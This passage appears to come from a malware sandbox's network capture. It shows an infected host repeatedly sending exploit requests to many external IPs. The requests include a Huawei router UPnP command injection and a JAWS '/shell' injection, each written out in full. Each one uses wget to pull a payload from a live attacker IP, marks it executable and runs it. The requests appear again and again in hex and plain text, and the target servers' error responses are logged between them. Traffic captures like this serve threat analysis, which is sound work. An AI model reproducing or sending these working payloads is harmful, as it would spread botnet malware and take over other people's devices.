37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:43.413088083 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:59.028620005 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.15	34026	23.45.219.196	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:29.045362949 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.254291058 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:36:29 GMT Date: Wed, 13 Mar 2024 08:36:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 63 64 38 34 39 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 39 26 23 34 36 3b 36 34 36 61 61 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.4cd84917.1710318989.646aac</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.15	46110	183.89.41.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:29.194231033 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.555413961 CET	301	IN	HTTP/1.1 200 OK Cache-control:no-cache, no-store, max-age=0 Content-Type:text/html Pragma:no-cache Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Mar 13, 2024 09:36:29.556273937 CET	479	IN	Data Raw: 31 63 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: 1c7<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=utf-8" http-equiv="Content-T

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.15	60564	104.86.53.229	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:29.222482920 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.399656057 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:36:29 GMT Date: Wed, 13 Mar 2024 08:36:29 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 34 64 36 64 64 35 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 38 39 26 23 34 36 3b 34 36 36 33 66 36 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.74d6dd58.1710318989.4663f68</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.15	44452	87.236.19.186	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:29.264358997 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.483095884 CET	341	IN	HTTP/1.1 400 Bad Request Server: nginx-reuseport/1.21.1 Date: Wed, 13 Mar 2024 08:36:29 GMT Content-Type: text/html Content-Length: 167 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-reuseport/1.21.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.15	54234	179.57.172.65	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:29.419922113 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:29.645587921 CET	292	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 13 Mar 2024 03:53:45 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.15	57080	34.66.137.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.370848894 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:31.485212088 CET	467	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 13 Mar 2024 08:36:31 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.15	38114	93.119.0.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.419802904 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:31.584469080 CET	471	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Wed, 13 Mar 2024 08:36:31 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.15	34084	156.224.15.81	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:31.480456114 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:33.077404022 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:34.965430975 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 